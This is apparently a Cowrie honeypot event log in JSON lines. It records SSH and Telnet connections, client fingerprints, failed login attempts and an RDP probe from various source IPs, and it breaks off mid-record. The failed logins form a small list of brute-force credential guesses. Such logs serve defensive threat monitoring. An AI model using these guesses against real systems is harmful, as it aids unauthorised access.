{"eventid":"cowrie.login.failed","username":"root","password":"400500600a","message":"login attempt [root/400500600a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:01.510343Z","src_ip":"185.236.22.41","session":"332605a1f53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:02.622217Z","src_ip":"185.236.22.41","session":"332605a1f53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56592,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1b7365cb1c","protocol":"telnet","message":"New connection: 152.42.224.71:56592 (10.17.0.5:23) [session: 1a1b7365cb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:03.598028Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.158","src_port":51186,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbda026a9a07","protocol":"ssh","message":"New connection: 45.153.34.158:51186 (10.17.0.5:22) [session: fbda026a9a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:04.903367Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:04.910403Z","src_ip":"45.153.34.158","session":"fbda026a9a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.158","src_port":51200,"dst_ip":"10.17.0.5","dst_port":22,"session":"e972b464189f","protocol":"ssh","message":"New connection: 45.153.34.158:51200 (10.17.0.5:22) [session: e972b464189f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.036673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.042639Z","src_ip":"45.153.34.158","session":"e972b464189f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.126773Z","src_ip":"45.153.34.158","session":"e972b464189f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.294375Z","src_ip":"45.153.34.158","session":"e972b464189f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":38004,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb7bfd2a00f4","protocol":"ssh","message":"New connection: 79.117.24.180:38004 (10.17.0.5:22) [session: cb7bfd2a00f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.612510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.617318Z","src_ip":"79.117.24.180","session":"cb7bfd2a00f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:05.721070Z","src_ip":"79.117.24.180","session":"cb7bfd2a00f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2036","message":"login attempt [root/2036] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:06.169176Z","src_ip":"79.117.24.180","session":"cb7bfd2a00f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:06.673067Z","src_ip":"45.153.34.158","session":"e972b464189f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:07.275426Z","src_ip":"79.117.24.180","session":"cb7bfd2a00f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49802,"dst_ip":"10.17.0.5","dst_port":23,"session":"172f550c0de0","protocol":"telnet","message":"New connection: 152.42.224.71:49802 (10.17.0.5:23) [session: 172f550c0de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:07.775401Z"}
{"eventid":"cowrie.session.closed","duration":41.66246032714844,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:10.364914Z","src_ip":"152.42.224.71","session":"a93938c1232e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.59233522415161,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:12.193767Z","src_ip":"152.42.224.71","session":"2d697a160090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"89c40f5de470","protocol":"ssh","message":"New connection: 43.134.142.250:40304 (10.17.0.5:22) [session: 89c40f5de470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:16.208762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:16.217476Z","src_ip":"43.134.142.250","session":"89c40f5de470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:16.464700Z","src_ip":"43.134.142.250","session":"89c40f5de470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e4302cfcab","protocol":"telnet","message":"New connection: 152.42.224.71:54058 (10.17.0.5:23) [session: b3e4302cfcab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:16.776671Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ashok@123","message":"login attempt [root/ashok@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:17.476715Z","src_ip":"43.134.142.250","session":"89c40f5de470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54064,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb030de7db8a","protocol":"telnet","message":"New connection: 152.42.224.71:54064 (10.17.0.5:23) [session: bb030de7db8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:18.601121Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:18.726093Z","src_ip":"43.134.142.250","session":"89c40f5de470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54080,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fe14921e402","protocol":"telnet","message":"New connection: 152.42.224.71:54080 (10.17.0.5:23) [session: 3fe14921e402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:18.900184Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54094,"dst_ip":"10.17.0.5","dst_port":23,"session":"beb9cc189ae3","protocol":"telnet","message":"New connection: 152.42.224.71:54094 (10.17.0.5:23) [session: beb9cc189ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:20.902222Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":42850,"dst_ip":"10.17.0.5","dst_port":22,"session":"756c1da95eee","protocol":"ssh","message":"New connection: 171.244.37.103:42850 (10.17.0.5:22) [session: 756c1da95eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:23.870345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:23.874816Z","src_ip":"171.244.37.103","session":"756c1da95eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54106,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7bac252898","protocol":"telnet","message":"New connection: 152.42.224.71:54106 (10.17.0.5:23) [session: da7bac252898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:24.048293Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:24.124288Z","src_ip":"171.244.37.103","session":"756c1da95eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newyork","message":"login attempt [root/newyork] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:25.137806Z","src_ip":"171.244.37.103","session":"756c1da95eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:26.387440Z","src_ip":"171.244.37.103","session":"756c1da95eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64740,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7cde36e484","protocol":"ssh","message":"New connection: 167.172.81.52:64740 (10.17.0.5:22) [session: dc7cde36e484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:29.299366Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:29.304369Z","src_ip":"167.172.81.52","session":"dc7cde36e484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:29.307947Z","src_ip":"167.172.81.52","session":"dc7cde36e484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.813939094543457,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:31.411849Z","src_ip":"152.42.224.71","session":"1a1b7365cb1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9f9170a880","protocol":"telnet","message":"New connection: 152.42.224.71:40510 (10.17.0.5:23) [session: 2e9f9170a880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:32.546378Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40516,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b15fa16f483","protocol":"telnet","message":"New connection: 152.42.224.71:40516 (10.17.0.5:23) [session: 5b15fa16f483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:35.107284Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04dc85f97f0","protocol":"telnet","message":"New connection: 152.42.224.71:44686 (10.17.0.5:23) [session: d04dc85f97f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:38.154095Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"091cc3015bbc","protocol":"telnet","message":"New connection: 152.42.224.71:44688 (10.17.0.5:23) [session: 091cc3015bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:38.930339Z"}
{"eventid":"cowrie.session.closed","duration":104.77344799041748,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:39.393101Z","src_ip":"152.42.224.71","session":"60d191541472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":54746,"dst_ip":"159.203.135.109","dst_port":22,"session":"3168de9c3913","protocol":"ssh","message":"New connection: 103.75.183.219:54746 (159.203.135.109:22) [session: 3168de9c3913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:41.847729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:41.852349Z","src_ip":"103.75.183.219","session":"3168de9c3913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44694,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbe920c8308","protocol":"telnet","message":"New connection: 152.42.224.71:44694 (10.17.0.5:23) [session: ccbe920c8308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:41.890824Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:42.098915Z","src_ip":"103.75.183.219","session":"3168de9c3913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19851985","message":"login attempt [root/19851985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:42.838199Z","src_ip":"103.75.183.219","session":"3168de9c3913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:44.087713Z","src_ip":"103.75.183.219","session":"3168de9c3913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.956088304519653,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:45.110083Z","src_ip":"152.42.224.71","session":"d04dc85f97f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.113052368164062,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:51.043285Z","src_ip":"152.42.224.71","session":"091cc3015bbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47484,"dst_ip":"10.17.0.5","dst_port":23,"session":"bff41cd0ad7e","protocol":"telnet","message":"New connection: 152.42.224.71:47484 (10.17.0.5:23) [session: bff41cd0ad7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:54.579833Z"}
{"eventid":"cowrie.session.closed","duration":42.6747829914093,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:03.576888Z","src_ip":"152.42.224.71","session":"beb9cc189ae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.327207803726196,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:06.375367Z","src_ip":"152.42.224.71","session":"da7bac252898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":47052,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d2b88c8af6","protocol":"ssh","message":"New connection: 43.156.63.254:47052 (10.17.0.5:22) [session: f6d2b88c8af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:07.528440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:59:07.532775Z","src_ip":"43.156.63.254","session":"f6d2b88c8af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","r